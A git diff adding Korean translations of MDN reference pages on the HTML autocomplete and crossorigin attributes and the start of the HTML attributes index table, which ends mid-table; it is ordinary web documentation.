+ <dd>내선번호.</dd>
+ <dt><code>impp</code></dt>
+ <dd>인스턴트 메시지 프로토콜 엔드포인트의 URL. "xmpp:username@example.net" 등.</dd>
+ <dt><code>url</code></dt>
+ <dd>URL. 홈페이지, 회사 웹 사이트 주소 등 양식의 맥락에 맞는 값입니다.</dd>
+ <dt><code>photo</code></dt>
+ <dd>이미지 URL. 사람, 회사, 연락처 정보 등 양식의 맥락에 맞는 값입니다.</dd>
+</dl>
+
+<p><a href="https://html.spec.whatwg.org/multipage/forms.html#autofill">WHATWG 표준</a>을 방문해 더 많은 정보를 알아보세요.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: html notranslate">&lt;div&gt;
+ &lt;label for="cc-number"&gt;Enter your credit card number&lt;/label&gt;
+ &lt;input type="number" name="cc-number" id="cc-number" autocomplete="off"&gt;
+&lt;/div&gt;</pre>
+
+<h2 id="주소의_행정_단계">주소의 행정 단계</h2>
+
+<p>네 단계의 행정 단계(<code>address-level1</code>부터 <code>address-level4</code>까지)는 주소의 위치를 점차 좁아지는 범위로 나타냅니다. 각각의 국가는 서로 다른 행정구역 시스템을 사용하며 주소를 작성하는 순서도 다를 수 있습니다.</p>
+
+<p><code>address-level1</code>은 항상 제일 큰 단계이므로, 국가 이름을 제외한 주소에서 가장 넓은 범위를 나타냅니다.</p>
+
+<h3 id="유연한_양식_레이아웃">유연한 양식 레이아웃</h3>
+
+<p>각각의 국가가 서로 다른 주소 형태를 사용하며, 구성요소의 위치는 물론 개수도 다를 수 있다는 점을 고려했을 때, 가능하다면 사용자가 입력하는 주소가 속한 국가에 따라서 양식의 형태를 바꾸는 것이 도움이 될 것입니다.</p>
+
+<h3 id="예제_2">예제</h3>
+
+<p>행정구역 단위 사용법은 국가마다 다릅니다. 다음은 일부 예제로, 모든 상황을 포함하지는 않을 것입니다.</p>
+
+<h4 id="대한민국">대한민국</h4>
+
+<p>도로명주소는 다음과 같은 형태입니다.</p>
+
+<ul>
+ <li>서울특별시 종로구 세종로 1</li>
+ <li>경기도 수원시 팔달구 효원로 1</li>
+ <li><span class="add_txt">충청남도 홍성군 홍북읍 충남대로 21</span></li>
+</ul>
+
+<dl>
+ <dt><code><span class="add_txt">address-level1</span></code></dt>
+ <dd><span class="add_txt">시/도: "서울특별시", "경기도", "충청남도"</span></dd>
+ <dt><code>address-level2</code></dt>
+ <dd>시/군/구: "수원시", "홍성군", "종로구"</dd>
+ <dt><code>address-level3</code></dt>
+ <dd>구/읍/면: "팔달구", "홍북읍"
+ <div class="note"><strong>참고:</strong> 구/읍/면은 <code>address-level2</code>에 합쳐 "수원시 팔달구", "홍성군 홍북읍"의 형태로 작성하는 경우도 많습니다.</div>
+ </dd>
+ <dt><code>address-line1</code></dt>
+ <dd>도로명, 건물번호: "세종로 1", "효원로 1", "충남대로 21"</dd>
+ <dt><code>address-line2</code></dt>
+ <dd>상세주소. 아파트의 경우 동/호를 작성합니다.
+ <div class="note"><strong>참고:</strong> <code>street-address</code>를 사용하는 경우 도로명, 건물번호와 상세주소를 같이 작성합니다.</div>
+ </dd>
+</dl>
+
+<p>우편번호 찾기 기능을 사용하는 경우 행정구역과 도로명, 건물번호까지는 사용자가 직접 입력하지 않는 점도 유의하세요.</p>
+
+<h4 id="미국">미국</h4>
+
+<p>평범한 주소는 다음 형태입니다.</p>
+
+<p>432 Anywhere St<br>
+ Exampleville CA 95555</p>
+
+<p>미국에서의 가장 큰 행정구역은 "주"로, 위 주소에서는 "CA"("캘리포니아"의 미국 우정청 공식 줄임말)입니다. 따라서 <code>address-level1</code>은 주, 즉 "CA"를 사용합니다.</p>
+
+<p>두 번째 행정구역은 도시 혹은 마을 이름이므로 <code>adress-level2</code>는 "Examplevile"입니다.</p>
+
+<p>미국 주소는 3단계 이상을 사용하지 않습니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', "form-control-infrastructure.html#autofilling-form-controls:-the-autocomplete-attribute", "autocomplete")}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.global_attributes.autocomplete")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{htmlelement("input")}} 요소.</li>
+ <li>{{htmlelement("select")}} 요소.</li>
+ <li>{{htmlelement("textarea")}} 요소.</li>
+ <li>{{htmlelement("form")}} 요소.</li>
+ <li><a href="/ko/docs/Learn/HTML/Forms">HTML 양식</a></li>
+ <li>모든 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>.</li>
+</ul>
diff --git a/files/ko/web/html/attributes/crossorigin/index.html b/files/ko/web/html/attributes/crossorigin/index.html
new file mode 100644
index 0000000000..70131a4486
--- /dev/null
+++ b/files/ko/web/html/attributes/crossorigin/index.html
@@ -0,0 +1,96 @@
+---
+title: 'HTML attribute: crossorigin'
+slug: Web/HTML/Attributes/crossorigin
+translation_of: Web/HTML/Attributes/crossorigin
+---
+<div>{{draft}}</div>
+
+<p class="seoSummary">{{ HTMLElement("audio") }}, {{ HTMLElement("img") }}, {{ HTMLElement("link") }}, {{ HTMLElement("script") }}, {{ HTMLElement("video") }}에 있는 crossOrigin 속성은 element가 CORS 요청을 처리하는 방식을 명시하여 element가 fetch한 데이터를 <a href="/en-US/docs/Web/HTTP/CORS">CORS</a> 가능하게 합니다. 특정 element에서는 CORS 세팅 속성이 될 수도 있습니다.</p>
+
+<p>Media element의 <code>crossorigin</code> 속성은 CORS 세팅입니다.</p>
+
+<p>세팅 속성은 열거형이며 아래의 값을 가질 수 있습니다:</p>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <td class="header">Keyword</td>
+ <td class="header">Description</td>
+ </tr>
+ <tr>
+ <td><code>anonymous</code></td>
+ <td>element의 CORS 요청의 credentials flag가 'same-origin'으로 지정됩니다.</td>
+ </tr>
+ <tr>
+ <td><code>use-credentials</code></td>
+ <td>element의 CORS 요청의 crendentials flag가 'include'로 지정됩니다.</td>
+ </tr>
+ <tr>
+ <td><code>""</code></td>
+ <td><code>crossorigin</code> 또는 <code>crossorigin=""</code>처럼 빈 값을 할당하는건 <code>anonymous</code>와 동일합니다.</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>기본적으로 (attribute를 명시하지 않으면) CORS 요청은 할 수 없습니다. "anonymous" 키워드는 쿠키를 통한 <strong>user credentials</strong> 교환이 필요 없음을 의미합니다. Same origin이 아닌 경우 client-side SSL certificates/HTTP 인증은 <a class="external" href="http://www.w3.org/TR/cors/#user-credentials">Terminology section of the CORS specification</a>에서 기술하고 있습니다.</p>
+
+<p>빈 문자열이나 잘못된 값일 경우 <code>anonymous</code> 와 동일하게 동작합니다.</p>
+
+<h3 id="예시_script_element의_crossorigin">예시: script element의 crossorigin</h3>
+
+<p>아래의 {{HTMLElement("script")}} element를 통해 브라우저로 하여금 <code>https://example.com/example-framework.js</code> 스크립트를 user-credential 없이 요청하도록 명시할 수 있습니다.</p>
+
+<pre class="brush: html">&lt;script src="https://example.com/example-framework.js" crossorigin="anonymous"&gt;&lt;/script&gt;</pre>
+
+<h3 id="예시_credential_포함한_Webmanifest">예시: credential 포함한 Webmanifest</h3>
+
+<p><a href="/en-US/docs/Web/Manifest">Manifest</a> 요청 시 credential이 필요하다면 same-origin의 리소스라 하여도  <code>use-credentials</code> 값을 사용해야 합니다.</p>
+
+<pre class="brush: html">&lt;link rel="manifest" href="/app.webmanifest" crossorigin="use-credentials"&gt;</pre>
+
+<h2 id="사양">사양</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">사양</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'infrastructure.html#cors-settings-attributes', 'CORS settings attributes')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'embedded-content.html#attr-img-crossorigin', 'crossorigin')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<h3 id="&lt;script_crossorigin>">&lt;script crossorigin&gt;</h3>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("html.elements.script.crossorigin")}}</p>
+
+<h3 id="&lt;video_crossorigin>">&lt;video crossorigin&gt;</h3>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("html.elements.video.crossorigin")}}</p>
+
+<h2 id="더_보기">더 보기</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/CORS">Cross-Origin Resource Sharing (CORS)</a></li>
+ <li><a href="/en-US/docs/Web/HTML/Attributes/rel">HTML attribute: <code>rel</code></a></li>
+</ul>
+
+<div>{{QuickLinksWithSubpages("/en-US/docs/Web/HTML/")}}</div>
diff --git a/files/ko/web/html/attributes/index.html b/files/ko/web/html/attributes/index.html
new file mode 100644
index 0000000000..12e0c02235
--- /dev/null
+++ b/files/ko/web/html/attributes/index.html
@@ -0,0 +1,733 @@
+---
+title: HTML 특성 참고서
+slug: Web/HTML/Attributes
+tags:
+ - HTML
+ - Reference
+translation_of: Web/HTML/Attributes
+---
+<div>{{HTMLSidebar}}</div>
+
+<p>HTML의 요소들은 <strong>특성</strong>을 가지고 있습니다. 특성은 사용자가 원하는 기준에 맞도록 요소를 설정하거나 다양한 방식으로 요소의 동작을 조절하기 위한 값을 말합니다.</p>
+
+<h2 id="특성_목록">특성 목록</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th>특성 이름</th>
+ <th>요소</th>
+ <th>설명</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><code>accept</code></td>
+ <td>{{ HTMLElement("form") }}, {{ HTMLElement("input") }}</td>
+ <td>서버에서 허용하는 유형의 목록. 보통 파일 유형을 의미합니다.</td>
+ </tr>
+ <tr>
+ <td><code>accept-charset</code></td>
+ <td>{{ HTMLElement("form") }}</td>
+ <td>지원하는 문자 집합의 목록.</td>
+ </tr>
+ <tr>
+ <td><code>accesskey</code></td>
+ <td><a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a></td>
+ <td>해당 요소로 초점을 이동시키거나 활성화시키기 위한 키보드 단축키를 정의합니다.</td>
+ </tr>
+ <tr>
+ <td><code>action</code></td>
+ <td>{{ HTMLElement("form") }}</td>
+ <td>폼(form)으로부터 전송된 정보를 처리할 프로그램의 URI입니다.</td>
+ </tr>
+ <tr>
+ <td><code>align</code></td>
+ <td>{{ HTMLElement("applet") }}, {{ HTMLElement("caption") }}, {{ HTMLElement("col") }}, {{ HTMLElement("colgroup") }},  {{ HTMLElement("hr") }}, {{ HTMLElement("iframe") }}, {{ HTMLElement("img") }}, {{ HTMLElement("table") }}, {{ HTMLElement("tbody") }},  {{ HTMLElement("td") }},  {{ HTMLElement("tfoot") }} , {{ HTMLElement("th") }}, {{ HTMLElement("thead") }}, {{ HTMLElement("tr") }}</td>
+ <td>해당 요소의 가로 정렬 방식을 명시합니다.</td>
+ </tr>
+ <tr>
+ <td><code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTML/Attributes/allow">allow</a></code></td>
+ <td>{{ HTMLElement("iframe") }}</td>
+ <td>Specifies a feature-policy for the iframe.</td>
+ </tr>
+ <tr>
+ <td><code>alt</code></td>
+ <td>{{ HTMLElement("applet") }}, {{ HTMLElement("area") }}, {{ HTMLElement("img") }}, {{ HTMLElement("input") }}</td>
+ <td>이미지를 표시할 수 없는 경우 표시할 대체 문구입니다.</td>
+ </tr>
+ <tr>
+ <td><code>async</code></td>
+ <td>{{ HTMLElement("script") }}</td>
+ <td>해당 스크립트는 비동기적으로 실행되어야함을 나타냅니다.</td>
+ </tr>
+ <tr>
+ <td><code>autocapitalize</code></td>
+ <td><a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a></td>
+ <td>사용자가 입력하거나 편집하는 문구를 자동으로 대문자로 바꿀지 여부와 방법을 제어합니다.</td>
+ </tr>
+ <tr>
+ <td><code>autocomplete</code></td>
+ <td>{{ HTMLElement("form") }}, {{ HTMLElement("input") }}, {{ HTMLElement("textarea") }}</td>
+ <td>이 폼 내의 컨트롤에 대해 브라우저가 지원하는 값 자동완성 기능을 기본으로 설정할 것인지를 나타냅니다.</td>
+ </tr>
+ <tr>
+ <td><code>autofocus</code></td>
+ <td>{{ HTMLElement("button") }}, {{ HTMLElement("input") }}, {{ HTMLElement("keygen") }}, {{ HTMLElement("select") }}, {{ HTMLElement("textarea") }}</td>
+ <td>페이지가 로드된 후 자동으로 해당 요소로 초점이 이동합니다.</td>
+ </tr>
+ <tr>
+ <td><code>autoplay</code></td>
+ <td>{{ HTMLElement("audio") }}, {{ HTMLElement("video") }}</td>
+ <td>오디오나 비디오가 가능한 빠른 시점에 재생됩니다.</td>
+ </tr>
+ <tr>
+ <td><code>background</code></td>
+ <td>{{ HTMLElement("body") }}, {{ HTMLElement("table") }}, {{ HTMLElement("td") }}, {{ HTMLElement("th") }}</td>
+ <td>Specifies the URL of an image file.
+ <div class="note"><strong>Note:</strong> Although browsers and email clients may still support this attribute, it is obsolete. Use CSS {{ Cssxref("background-image") }} instead.</div>
+ </td>
+ </tr>
+ <tr>
+ <td><code>bgcolor</code></td>
+ <td>{{ HTMLElement("body") }}, {{ HTMLElement("col") }}, {{ HTMLElement("colgroup") }}, {{ HTMLElement("marquee") }}, {{ HTMLElement("table") }}, {{ HTMLElement("tbody") }}, {{ HTMLElement("tfoot") }}, {{ HTMLElement("td") }}, {{ HTMLElement("th") }}, {{ HTMLElement("tr") }}</td>
+ <td>
+ <p>요소의 배경색입니다.</p>
+
+ <div class="note">
+ <p><strong>주:</strong> 이 속성은 더 이상 사용하지 않습니다. CSS의 {{ Cssxref("background-color") }} 속성을 대신 사용하시기 바랍니다.</p>
+ </div>
+ </td>
+ </tr>
+ <tr>
+ <td><code>border</code></td>
+ <td>{{ HTMLElement("img") }}, {{ HTMLElement("object") }}, {{ HTMLElement("table") }}</td>
+ <td>
+ <p>선의 굵기입니다.</p>
+
+ <div class="note">
+ <p><strong>주:</strong> 이 속성은 더 이상 사용하지 않습니다. CSS의 {{ Cssxref("border") }} 속성을 대신 사용하시기 바랍니다.</p>
+ </div>
+ </td>
+ </tr>
+ <tr>
+ <td><code>buffered</code></td>
+ <td>{{ HTMLElement("audio") }}, {{ HTMLElement("video") }}</td>
+ <td>이미 버퍼링된 미디어의 시간 범위를 가집니다.</td>
+ </tr>
+ <tr>
+ <td><code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTML/Attributes/capture">capture</a></code></td>
+ <td>{{ HTMLElement("input") }}</td>
+ <td>From the {{SpecName('HTML Media Capture', '#the-capture-attribute','media capture')}}spec, specifies a new file can be captured.</td>
+ </tr>
+ <tr>
+ <td><code>challenge</code></td>
+ <td>{{ HTMLElement("keygen") }}</td>
+ <td>공개 키와 같이 전송된 challenge 문자열입니다.</td>
+ </tr>
+ <tr>
+ <td><code>charset</code></td>
+ <td>{{ HTMLElement("meta") }}, {{ HTMLElement("script") }}</td>
+ <td>페이지 또는 스크립트의 문자 인코딩을 선언합니다.</td>
+ </tr>
+ <tr>
+ <td><code>checked</code></td>
+ <td>{{ HTMLElement("command") }}, {{ HTMLElement("input") }}</td>
+ <td>페이지가 로딩될 때, 해당 요소가 체크되어 있어야하는지를 나타냅니다.</td>
+ </tr>
+ <tr>
+ <td><code>cite</code></td>
+ <td>{{ HTMLElement("blockquote") }}, {{ HTMLElement("del") }}, {{ HTMLElement("ins") }}, {{ HTMLElement("q") }}</td>
+ <td>변경 또는 인용구문의 출처를 가리키는 URI를 가집니다.</td>
+ </tr>
+ <tr>
+ <td><code>class</code></td>
+ <td><a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a></td>
+ <td>공통적인 속성으로 요소의 스타일을 지정할 때 CSS와 함께 자주 사용됩니다.</td>
+ </tr>
+ <tr>
+ <td><code>code</code></td>
+ <td>{{ HTMLElement("applet") }}</td>
+ <td>로딩 후 실행할 애플릿의 클래스 파일의 URL을 명시합니다.</td>
+ </tr>
+ <tr>
+ <td><code>codebase</code></td>
+ <td>{{ HTMLElement("applet") }}</td>
+ <td>이 속성은 코드(code) 속성이 참조하는 애플릿의 .class 파일이 저장되어 있는 디렉토리의 절대경로 또는 상대경로 URL을 제공합니다.</td>
+ </tr>
+ <tr>
+ <td><code>color</code></td>
+ <td>{{ HTMLElement("basefont") }}, {{ HTMLElement("font") }}, {{ HTMLElement("hr") }}</td>
+ <td>
+ <p>이 속성은 미리 정의된 색상 명칭 또는 #RRGGBB 형식의 16진수로 명시된 색상으로 텍스트 색상을 설정한다.</p>
+
+ <div class="note">
+ <p><strong>주:</strong> 이 속성은 더 이상 사용하지 않습니다. CSS의 {{ Cssxref("color") }} 속성을 대신 사용하시기 바랍니다.</p>
+ </div>
+ </td>
+ </tr>
+ <tr>
+ <td><code>cols</code></td>
+ <td>{{ HTMLElement("textarea") }}</td>
+ <td>textarea에 표시할 컬럼의 수를 정의한다.</td>
+ </tr>
+ <tr>
+ <td><code>colspan</code></td>
+ <td>{{ HTMLElement("td") }}, {{ HTMLElement("th") }}</td>
+ <td>colspan 속성은 어떤 셀이 확장되어야 할 컬럼의 수를 정의한다.</td>
+ </tr>
+ <tr>
+ <td><code>content</code></td>
+ <td>{{ HTMLElement("meta") }}</td>
+ <td>A value associated with <code>http-equiv</code> or <code>name</code> depending on the context.</td>
+ </tr>
+ <tr>
+ <td><code>contenteditable</code></td>
+ <td><a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a></td>
+ <td>Indicates whether the element's content is editable.</td>
+ </tr>
+ <tr>
+ <td><code>contextmenu</code></td>
+ <td><a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a></td>
+ <td>Defines the ID of a {{ HTMLElement("menu") }} element which will serve as the element's context menu.</td>
+ </tr>
+ <tr>
+ <td><code>controls</code></td>
+ <td>{{ HTMLElement("audio") }}, {{ HTMLElement("video") }}</td>
+ <td>Indicates whether the browser should show playback controls to the user.</td>
+ </tr>
+ <tr>
+ <td><code>coords</code></td>
+ <td>{{ HTMLElement("area") }}</td>
+ <td>A set of values specifying the coordinates of the hot-spot region.</td>
+ </tr>
+ <tr>
+ <td><code><a href="/en-US/docs/Web/HTML/CORS_settings_attributes">crossorigin</a></code></td>
+ <td>{{ HTMLElement("audio") }}, {{ HTMLElement("img") }}, {{ HTMLElement("link") }}, {{ HTMLElement("script") }}, {{ HTMLElement("video") }}</td>
+ <td>How the element handles cross-origin requests</td>
+ </tr>
+ <tr>
+ <td><code><a href="https://wiki.developer.mozilla.org/docs/Web/API/HTMLiframeElement/csp">csp</a></code> {{experimental_inline}}</td>
+ <td>{{ HTMLElement("iframe") }}</td>
+ <td>Specifies the Content Security Policy that an embedded document must agree to enforce upon itself.</td>
+ </tr>
+ <tr>
+ <td><code>data</code></td>
+ <td>{{ HTMLElement("object") }}</td>
+ <td>Specifies the URL of the resource.</td>
+ </tr>
+ <tr>
+ <td><code>data-*</code></td>
+ <td><a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a></td>
+ <td>Lets you attach custom attributes to an HTML element.</td>
+ </tr>
+ <tr>
+ <td><code>datetime</code></td>
+ <td>{{ HTMLElement("del") }}, {{ HTMLElement("ins") }}, {{ HTMLElement("time") }}</td>
+ <td>Indicates the date and time associated with the element.</td>
+ </tr>
+ <tr>
+ <td><code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTML/Attributes/decoding">decoding</a></code></td>
+ <td>{{ HTMLElement("img") }}</td>
+ <td>Indicates the preferred method to decode the image.</td>
+ </tr>
+ <tr>
+ <td><code>default</code></td>
+ <td>{{ HTMLElement("track") }}</td>
+ <td>Indicates that the track should be enabled unless the user's preferences indicate something different.</td>
+ </tr>
+ <tr>
+ <td><code>defer</code></td>
+ <td>{{ HTMLElement("script") }}</td>
+ <td>Indicates that the script should be executed after the page has been parsed.</td>
+ </tr>
+ <tr>
+ <td><code>dir</code></td>
+ <td><a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a></td>
+ <td>Defines the text direction. Allowed values are ltr (Left-To-Right) or rtl (Right-To-Left)</td>
+ </tr>
+ <tr>
+ <td><code>dirname</code></td>
+ <td>{{ HTMLElement("input") }}, {{ HTMLElement("textarea") }}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td><code>disabled</code></td>
+ <td>{{ HTMLElement("button") }}, {{ HTMLElement("command") }}, {{ HTMLElement("fieldset") }}, {{ HTMLElement("input") }}, {{ HTMLElement("keygen") }}, {{ HTMLElement("optgroup") }}, {{ HTMLElement("option") }}, {{ HTMLElement("select") }}, {{ HTMLElement("textarea") }}</td>
+ <td>Indicates whether the user can interact with the element.</td>
+ </tr>
+ <tr>
+ <td><code>download</code></td>
+ <td>{{ HTMLElement("a") }}, {{ HTMLElement("area") }}</td>
+ <td>Indicates that the hyperlink is to be used for downloading a resource.</td>
+ </tr>
+ <tr>
+ <td><code>draggable</code></td>
+ <td><a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a></td>
+ <td>Defines whether the element can be dragged.</td>
+ </tr>
+ <tr>
+ <td><code>dropzone</code></td>
+ <td><a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a></td>
+ <td>Indicates that the element accept the dropping of content on it.</td>
+ </tr>
+ <tr>
+ <td><code>enctype</code></td>
+ <td>{{ HTMLElement("form") }}</td>
+ <td>Defines the content type of the form date when the <code>method</code> is POST.</td>
+ </tr>
+ <tr>
+ <td><code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTML/Attributes/enterkeyhint">enterkeyhint</a></code> {{experimental_inline}}</td>
+ <td>{{ HTMLElement("textarea") }}, <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/contenteditable"><code>contenteditable</code></a></td>
+ <td>The <a href="https://html.spec.whatwg.org/dev/interaction.html#input-modalities:-the-enterkeyhint-attribute"><code>enterkeyhint</code></a> specifies what action label (or icon) to present for the enter key on virtual keyboards. The attribute can be used with form controls (such as the value of <code>textarea</code> elements), or in elements in an editing host (e.g., using <code>contenteditable</code> attribute).</td>
+ </tr>
+ <tr>
+ <td><code>for</code></td>
+ <td>{{ HTMLElement("label") }}, {{ HTMLElement("output") }}</td>
+ <td>Describes elements which belongs to this one.</td>
+ </tr>
+ <tr>
+ <td><code>form</code></td>
+ <td>{{ HTMLElement("button") }}, {{ HTMLElement("fieldset") }}, {{ HTMLElement("input") }}, {{ HTMLElement("keygen") }}, {{ HTMLElement("label") }}, {{ HTMLElement("meter") }}, {{ HTMLElement("object") }}, {{ HTMLElement("output") }}, {{ HTMLElement("progress") }}, {{ HTMLElement("select") }}, {{ HTMLElement("textarea") }}</td>
+ <td>Indicates the form that is the owner of the element.</td>
+ </tr>
+ <tr>
+ <td><code>formaction</code></td>
+ <td>{{ HTMLElement("input") }}, {{ HTMLElement("button") }}</td>
+ <td>Indicates the action of the element, overriding the action defined in the {{ HTMLElement("form") }}.</td>
+ </tr>
+ <tr>
+ <td><code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTML/Attributes/formenctype">formenctype</a></code></td>
+ <td>{{ HTMLElement("button") }}, {{ HTMLElement("input") }}</td>
+ <td>If the button/input is a submit button (<code>type="submit"</code>), this attribute sets the encoding type to use during form submission. If this attribute is specified, it overrides the <code>enctype</code> attribute of the button's <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTML/Element/form">form</a> owner.</td>
+ </tr>
+ <tr>
+ <td><code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTML/Attributes/formmethod">formmethod</a></code></td>
+ <td>{{ HTMLElement("button") }}, {{ HTMLElement("input") }}</td>
+ <td>If the button/input is a submit button (<code>type="submit"</code>), this attribute sets the submission method to use during form submission (<code>GET</code>, <code>POST</code>, etc.). If this attribute is specified, it overrides the <code>method</code> attribute of the button's <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTML/Element/form">form</a> owner.</td>
+ </tr>
+ <tr>
+ <td><code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTML/Attributes/formnovalidate">formnovalidate</a></code></td>
+ <td>{{ HTMLElement("button") }}, {{ HTMLElement("input") }}</td>
+ <td>If the button/input is a submit button (<code>type="submit"</code>), this boolean attribute specifies that the form is not to be validated when it is submitted. If this attribute is specified, it overrides the <code>novalidate</code> attribute of the button's <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTML/Element/form">form</a> owner.</td>
+ </tr>
+ <tr>
+ <td><code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTML/Attributes/formtarget">formtarget</a></code></td>
+ <td>{{ HTMLElement("button") }}, {{ HTMLElement("input") }}</td>
+ <td>If the button/input is a submit button (<code>type="submit"</code>), this attribute specifies the browsing context (for example, tab, window, or inline frame) in which to display the response that is received after submitting the form. If this attribute is specified, it overrides the <code>target</code> attribute of the button's <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTML/Element/form">form</a> owner.</td>
+ </tr>
+ <tr>
+ <td><code>headers</code></td>
+ <td>{{ HTMLElement("td") }}, {{ HTMLElement("th") }}</td>
+ <td>IDs of the <code>&lt;th&gt;</code> elements which applies to this element.</td>
+ </tr>
+ <tr>
+ <td><code>height</code></td>
+ <td>{{ HTMLElement("canvas") }}, {{ HTMLElement("embed") }}, {{ HTMLElement("iframe") }}, {{ HTMLElement("img") }}, {{ HTMLElement("input") }}, {{ HTMLElement("object") }}, {{ HTMLElement("video") }}</td>
+ <td>
+ <p>Specifies the height of elements listed here. For all other elements, use the CSS {{cssxref("height")}} property.</p>
+
+ <div class="note">
+ <p><strong>Note:</strong> In some instances, such as {{ HTMLElement("div") }}, this is a legacy attribute, in which case the CSS {{ Cssxref("height") }} property should be used instead.</p>
+ </div>
+ </td>
+ </tr>
+ <tr>
+ </tr>
+ <tr>
+ <td><code>hidden</code></td>
+ <td><a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a></td>
+ <td>Prevents rendering of given element, while keeping child elements, e.g. script elements, active.</td>
+ </tr>
+ <tr>
+ <td><code>high</code></td>
+ <td>{{ HTMLElement("meter") }}</td>
+ <td>Indicates the lower bound of the upper range.</td>
+ </tr>
+ <tr>
+ <td><code>href</code></td>
+ <td>{{ HTMLElement("a") }}, {{ HTMLElement("area") }}, {{ HTMLElement("base") }}, {{ HTMLElement("link") }}</td>
+ <td> 링크된 리소스의 URL</td>
+ </tr>
+ <tr>
+ <td><code>hreflang</code></td>
+ <td>{{ HTMLElement("a") }}, {{ HTMLElement("area") }}, {{ HTMLElement("link") }}</td>
+ <td>링크된 리소스의 언어를 나타냄</td>
+ </tr>
+ <tr>
+ <td><code>http-equiv</code></td>
+ <td>{{ HTMLElement("meta") }}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td><code>icon</code></td>
+ <td>{{ HTMLElement("command") }}</td>
+ <td>Specifies a picture which represents the command.</td>
+ </tr>
+ <tr>
+ <td><code>id</code></td>
+ <td><a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a></td>
+ <td>일반적으로, 특정한 요소를 스타일하기 위해 CSS와 함꼐 사용됨. 이 속성의 값은 유일해야함.</td>
+ </tr>
+ <tr>
+ <td><code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTML/Attributes/importance">importance</a></code> {{experimental_inline}}</td>
+ <td>{{ HTMLElement("iframe") }}, {{ HTMLElement("img") }}, {{ HTMLElement("link") }}, {{ HTMLElement("script") }}</td>
+ <td>Indicates the relative fetch priority for the resource.</td>
+ </tr>
+ <tr>
+ <td><code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/Security/Subresource_Integrity">integrity</a></code></td>
+ <td>{{ HTMLElement("link") }}, {{ HTMLElement("script") }}</td>
+ <td>Specifies a <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/Security/Subresource_Integrity">Subresource Integrity</a> value that allows browsers to verify what they fetch.</td>
+ </tr>
+ <tr>
+ <td><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTML/Element/img#attr-intrinsicsize"><code>intrinsicsize</code></a> {{deprecated_inline}}</td>
+ <td>{{ HTMLElement("img") }}</td>
+ <td>This attribute tells the browser to ignore the actual intrinsic size of the image and pretend it’s the size specified in the attribute.</td>
+ </tr>
+ <tr>
+ <td><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/inputmode"><code>inputmode</code></a></td>
+ <td>{{ HTMLElement("textarea") }}, <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/contenteditable"><code>contenteditable</code></a></td>
+ <td>Provides a hint as to the type of data that might be entered by the user while editing the element or its contents. The attribute can be used with form controls (such as the value of <code>textarea</code> elements), or in elements in an editing host (e.g., using <code>contenteditable</code> attribute).</td>
+ </tr>
+ <tr>
+ <td><code>ismap</code></td>
+ <td>{{ HTMLElement("img") }}</td>
